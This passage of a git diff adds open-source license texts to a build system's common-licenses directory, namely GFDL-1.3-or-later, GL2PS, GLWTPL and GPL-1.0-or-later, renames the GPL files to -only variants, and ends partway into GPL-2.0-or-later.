+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.3-or-later b/meta/files/common-licenses/GFDL-1.3-or-later
new file mode 100644
index 0000000000..b51dc2ab16
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.3-or-later
@@ -0,0 +1,149 @@
+GNU Free Documentation License
+Version 1.3, 3 November 2008
+
+Copyright (C) 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. <http://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+The "publisher" means any person or entity that distributes copies of the Document to the public.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice. H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License.
+
+However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Document.
+
+11. RELICENSING
+
+"Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A "Massive Multiauthor Collaboration" (or "MMC") contained in the site means any set of copyrightable works thus published on the MMC site.
+
+"CC-BY-SA" means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization.
+
+"Incorporate" means to publish or republish a Document, in whole or in part, as part of another Document.
+
+An MMC is "eligible for relicensing" if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008.
+
+The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GL2PS b/meta/files/common-licenses/GL2PS
new file mode 100644
index 0000000000..ee2af779d9
--- /dev/null
+++ b/meta/files/common-licenses/GL2PS
@@ -0,0 +1,13 @@
+GL2PS LICENSE Version 2, November 2003
+
+Copyright (C) 2003, Christophe Geuzaine
+
+Permission to use, copy, and distribute this software and its documentation for any purpose with or without fee is hereby granted, provided that the copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation.
+
+Permission to modify and distribute modified versions of this software is granted, provided that:
+
+1) the modifications are licensed under the same terms as this software;
+
+2) you make available the source code of any modifications that you distribute, either on the same media as you distribute any executable or other form of this software, or via a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+This software is provided "as is" without express or implied warranty.
diff --git a/meta/files/common-licenses/GLWTPL b/meta/files/common-licenses/GLWTPL
new file mode 100644
index 0000000000..a0f7ec4883
--- /dev/null
+++ b/meta/files/common-licenses/GLWTPL
@@ -0,0 +1,25 @@
+ GLWT(Good Luck With That) Public License
+ Copyright (c) Everyone, except Author
+
+Everyone is permitted to copy, distribute, modify, merge, sell, publish,
+sublicense or whatever they want with this software but at their OWN RISK.
+
+ Preamble
+
+The author has absolutely no clue what the code in this project does.
+It might just work or not, there is no third option.
+
+
+ GOOD LUCK WITH THAT PUBLIC LICENSE
+ TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION, AND MODIFICATION
+
+ 0. You just DO WHATEVER YOU WANT TO as long as you NEVER LEAVE A
+TRACE TO TRACK THE AUTHOR of the original product to blame for or hold
+responsible.
+
+IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+DEALINGS IN THE SOFTWARE.
+
+Good luck and Godspeed.
diff --git a/meta/files/common-licenses/GPL-1.0 b/meta/files/common-licenses/GPL-1.0-only
index 9d4ef93ae5..9d4ef93ae5 100644
--- a/meta/files/common-licenses/GPL-1.0
+++ b/meta/files/common-licenses/GPL-1.0-only
diff --git a/meta/files/common-licenses/GPL-1.0-or-later b/meta/files/common-licenses/GPL-1.0-or-later
new file mode 100644
index 0000000000..b616110c75
--- /dev/null
+++ b/meta/files/common-licenses/GPL-1.0-or-later
@@ -0,0 +1,232 @@
+GNU GENERAL PUBLIC LICENSE
+
+Version 1, February 1989
+
+Copyright (C) 1989 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor,
+Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+Preamble
+
+The license agreements of most software companies try to keep users at the
+mercy of those companies. By contrast, our General Public License is intended
+to guarantee your freedom to share and change free software--to make sure
+the software is free for all its users. The General Public License applies
+to the Free Software Foundation's software and to any other program whose
+authors commit to using it. You can use it for your programs, too.
+
+When we speak of free software, we are referring to freedom, not price. Specifically,
+the General Public License is designed to make sure that you have the freedom
+to give away or sell copies of free software, that you receive source code
+or can get it if you want it, that you can change the software or use pieces
+of it in new free programs; and that you know you can do these things.
+
+To protect your rights, we need to make restrictions that forbid anyone to
+deny you these rights or to ask you to surrender the rights. These restrictions
+translate to certain responsibilities for you if you distribute copies of
+the software, or if you modify it.
+
+For example, if you distribute copies of a such a program, whether gratis
+or for a fee, you must give the recipients all the rights that you have. You
+must make sure that they, too, receive or can get the source code. And you
+must tell them their rights.
+
+We protect your rights with two steps: (1) copyright the software, and (2)
+offer you this license which gives you legal permission to copy, distribute
+and/or modify the software.
+
+Also, for each author's protection and ours, we want to make certain that
+everyone understands that there is no warranty for this free software. If
+the software is modified by someone else and passed on, we want its recipients
+to know that what they have is not the original, so that any problems introduced
+by others will not reflect on the original authors' reputations.
+
+The precise terms and conditions for copying, distribution and modification
+follow.
+
+GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION
+AND MODIFICATION
+
+0. This License Agreement applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed under
+the terms of this General Public License. The "Program", below, refers to
+any such program or work, and a "work based on the Program" means either the
+Program or any work containing the Program or a portion of it, either verbatim
+or with modifications. Each licensee is addressed as "you".
+
+1. You may copy and distribute verbatim copies of the Program's source code
+as you receive it, in any medium, provided that you conspicuously and appropriately
+publish on each copy an appropriate copyright notice and disclaimer of warranty;
+keep intact all the notices that refer to this General Public License and
+to the absence of any warranty; and give any other recipients of the Program
+a copy of this General Public License along with the Program. You may charge
+a fee for the physical act of transferring a copy.
+
+2. You may modify your copy or copies of the Program or any portion of it,
+and copy and distribute such modifications under the terms of Paragraph 1
+above, provided that you also do the following:
+
+a) cause the modified files to carry prominent notices stating that you changed
+the files and the date of any change; and
+
+b) cause the whole of any work that you distribute or publish, that in whole
+or in part contains the Program or any part thereof, either with or without
+modifications, to be licensed at no charge to all third parties under the
+terms of this General Public License (except that you may choose to grant
+warranty protection to some or all third parties, at your option).
+
+c) If the modified program normally reads commands interactively when run,
+you must cause it, when started running for such interactive use in the simplest
+and most usual way, to print or display an announcement including an appropriate
+copyright notice and a notice that there is no warranty (or else, saying that
+you provide a warranty) and that users may redistribute the program under
+these conditions, and telling the user how to view a copy of this General
+Public License.
+
+d) You may charge a fee for the physical act of transferring a copy, and you
+may at your option offer warranty protection in exchange for a fee.
+
+Mere aggregation of another independent work with the Program (or its derivative)
+on a volume of a storage or distribution medium does not bring the other work
+under the scope of these terms.
+
+3. You may copy and distribute the Program (or a portion or derivative of
+it, under Paragraph 2) in object code or executable form under the terms of
+Paragraphs 1 and 2 above provided that you also do one of the following:
+
+a) accompany it with the complete corresponding machine-readable source code,
+which must be distributed under the terms of Paragraphs 1 and 2 above; or,
+
+b) accompany it with a written offer, valid for at least three years, to give
+any third party free (except for a nominal charge for the cost of distribution)
+a complete machine-readable copy of the corresponding source code, to be distributed
+under the terms of Paragraphs 1 and 2 above; or,
+
+c) accompany it with the information you received as to where the corresponding
+source code may be obtained. (This alternative is allowed only for noncommercial
+distribution and only if you received the program in object code or executable
+form alone.)
+
+Source code for a work means the preferred form of the work for making modifications
+to it. For an executable file, complete source code means all the source code
+for all modules it contains; but, as a special exception, it need not include
+source code for modules which are standard libraries that accompany the operating
+system on which the executable file runs, or for standard header files or
+definitions files that accompany that operating system.
+
+4. You may not copy, modify, sublicense, distribute or transfer the Program
+except as expressly provided under this General Public License. Any attempt
+otherwise to copy, modify, sublicense, distribute or transfer the Program
+is void, and will automatically terminate your rights to use the Program under
+this License. However, parties who have received copies, or rights to use
+copies, from you under this General Public License will not have their licenses
+terminated so long as such parties remain in full compliance.
+
+5. By copying, distributing or modifying the Program (or any work based on
+the Program) you indicate your acceptance of this license to do so, and all
+its terms and conditions.
+
+6. Each time you redistribute the Program (or any work based on the Program),
+the recipient automatically receives a license from the original licensor
+to copy, distribute or modify the Program subject to these terms and conditions.
+You may not impose any further restrictions on the recipients' exercise of
+the rights granted herein.
+
+7. The Free Software Foundation may publish revised and/or new versions of
+the General Public License from time to time. Such new versions will be similar
+in spirit to the present version, but may differ in detail to address new
+problems or concerns.
+
+Each version is given a distinguishing version number. If the Program specifies
+a version number of the license which applies to it and "any later version",
+you have the option of following the terms and conditions either of that version
+or of any later version published by the Free Software Foundation. If the
+Program does not specify a version number of the license, you may choose any
+version ever published by the Free Software Foundation.
+
+8. If you wish to incorporate parts of the Program into other free programs
+whose distribution conditions are different, write to the author to ask for
+permission. For software which is copyrighted by the Free Software Foundation,
+write to the Free Software Foundation; we sometimes make exceptions for this.
+Our decision will be guided by the two goals of preserving the free status
+of all derivatives of our free software and of promoting the sharing and reuse
+of software generally.
+
+
+
+ NO WARRANTY 9.
+
+BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE
+PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE
+STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM
+"AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
+BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE
+OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME
+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+10. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE
+OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA
+OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES
+OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH
+HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+END OF TERMS AND CONDITIONS
+
+Appendix: How to Apply These Terms to Your New Programs
+
+If you develop a new program, and you want it to be of the greatest possible
+use to humanity, the best way to achieve this is to make it free software
+which everyone can redistribute and change under these terms.
+
+To do so, attach the following notices to the program. It is safest to attach
+them to the start of each source file to most effectively convey the exclusion
+of warranty; and each file should have at least the "copyright" line and a
+pointer to where the full notice is found.
+
+<one line to give the program's name and a brief idea of what it does.>
+
+Copyright (C) 19yy <name of author>
+
+This program is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free Software
+Foundation; either version 1, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License along with
+this program; if not, write to the Free Software Foundation, Inc., 675 Mass
+Ave, Cambridge, MA 02139, USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this when
+it starts in an interactive mode:
+
+Gnomovision version 69, Copyright (C) 19xx name of author Gnomovision comes
+with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software,
+and you are welcome to redistribute it under certain conditions; type `show
+c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, the commands you use may be
+called something other than `show w' and `show c'; they could even be mouse-clicks
+or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your school,
+if any, to sign a "copyright disclaimer" for the program, if necessary. Here
+a sample; alter the names:
+
+Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision'
+(a program to direct compilers to make passes at assemblers) written by James
+Hacker.
+
+<signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice
+
+That's all there is to it!
diff --git a/meta/files/common-licenses/GPL-2.0 b/meta/files/common-licenses/GPL-2.0-only
index 7f5abbce27..7f5abbce27 100644
--- a/meta/files/common-licenses/GPL-2.0
+++ b/meta/files/common-licenses/GPL-2.0-only
diff --git a/meta/files/common-licenses/GPL-2.0-or-later b/meta/files/common-licenses/GPL-2.0-or-later
new file mode 100644
index 0000000000..1d80ac3653
--- /dev/null
+++ b/meta/files/common-licenses/GPL-2.0-or-later
@@ -0,0 +1,319 @@
+GNU GENERAL PUBLIC LICENSE
+
+Version 2, June 1991
+
+Copyright (C) 1989, 1991 Free Software Foundation, Inc.
+
+51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+Preamble
+
+The licenses for most software are designed to take away your freedom to share
+and change it. By contrast, the GNU General Public License is intended to
+guarantee your freedom to share and change free software--to make sure the
+software is free for all its users. This General Public License applies to
+most of the Free Software Foundation's software and to any other program whose
+authors commit to using it. (Some other Free Software Foundation software
+is covered by the GNU Lesser General Public License instead.) You can apply
+it to your programs, too.
+
+When we speak of free software, we are referring to freedom, not price. Our
+General Public Licenses are designed to make sure that you have the freedom
+to distribute copies of free software (and charge for this service if you
+wish), that you receive source code or can get it if you want it, that you
+can change the software or use pieces of it in new free programs; and that
+you know you can do these things.
+
+To protect your rights, we need to make restrictions that forbid anyone to
+deny you these rights or to ask you to surrender the rights. These restrictions
+translate to certain responsibilities for you if you distribute copies of
+the software, or if you modify it.
+
+For example, if you distribute copies of such a program, whether gratis or
+for a fee, you must give the recipients all the rights that you have. You
+must make sure that they, too, receive or can get the source code. And you
+must show them these terms so they know their rights.
+
+We protect your rights with two steps: (1) copyright the software, and (2)
+offer you this license which gives you legal permission to copy, distribute
+and/or modify the software.
+
+Also, for each author's protection and ours, we want to make certain that
+everyone understands that there is no warranty for this free software. If
+the software is modified by someone else and passed on, we want its recipients
+to know that what they have is not the original, so that any problems introduced
+by others will not reflect on the original authors' reputations.
+
+Finally, any free program is threatened constantly by software patents. We
+wish to avoid the danger that redistributors of a free program will individually
+obtain patent licenses, in effect making the program proprietary. To prevent
+this, we have made it clear that any patent must be licensed for everyone's
+free use or not licensed at all.
+
+The precise terms and conditions for copying, distribution and modification
+follow.
+
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+0. This License applies to any program or other work which contains a notice
+placed by the copyright holder saying it may be distributed under the terms
+of this General Public License. The "Program", below, refers to any such program
+or work, and a "work based on the Program" means either the Program or any
+derivative work under copyright law: that is to say, a work containing the
+Program or a portion of it, either verbatim or with modifications and/or translated
+into another language. (Hereinafter, translation is included without limitation
+in the term "modification".) Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not covered
+by this License; they are outside its scope. The act of running the Program
+is not restricted, and the output from the Program is covered only if its
+contents constitute a work based on the Program (independent of having been
+made by running the Program). Whether that is true depends on what the Program
+does.
+
+1. You may copy and distribute verbatim copies of the Program's source code
+as you receive it, in any medium, provided that you conspicuously and appropriately
+publish on each copy an appropriate copyright notice and disclaimer of warranty;
+keep intact all the notices that refer to this License and to the absence
+of any warranty; and give any other recipients of the Program a copy of this
+License along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and you
+may at your option offer warranty protection in exchange for a fee.
+
+2. You may modify your copy or copies of the Program or any portion of it,
+thus forming a work based on the Program, and copy and distribute such modifications
+or work under the terms of Section 1 above, provided that you also meet all
+of these conditions:
+
+a) You must cause the modified files to carry prominent notices stating that
+you changed the files and the date of any change.
+
+b) You must cause any work that you distribute or publish, that in whole or
+in part contains or is derived from the Program or any part thereof, to be
+licensed as a whole at no charge to all third parties under the terms of this
+License.
+
+c) If the modified program normally reads commands interactively when run,
+you must cause it, when started running for such interactive use in the most
+ordinary way, to print or display an announcement including an appropriate
+copyright notice and a notice that there is no warranty (or else, saying that
+you provide a warranty) and that users may redistribute the program under
+these conditions, and telling the user how to view a copy of this License.
+(Exception: if the Program itself is interactive but does not normally print
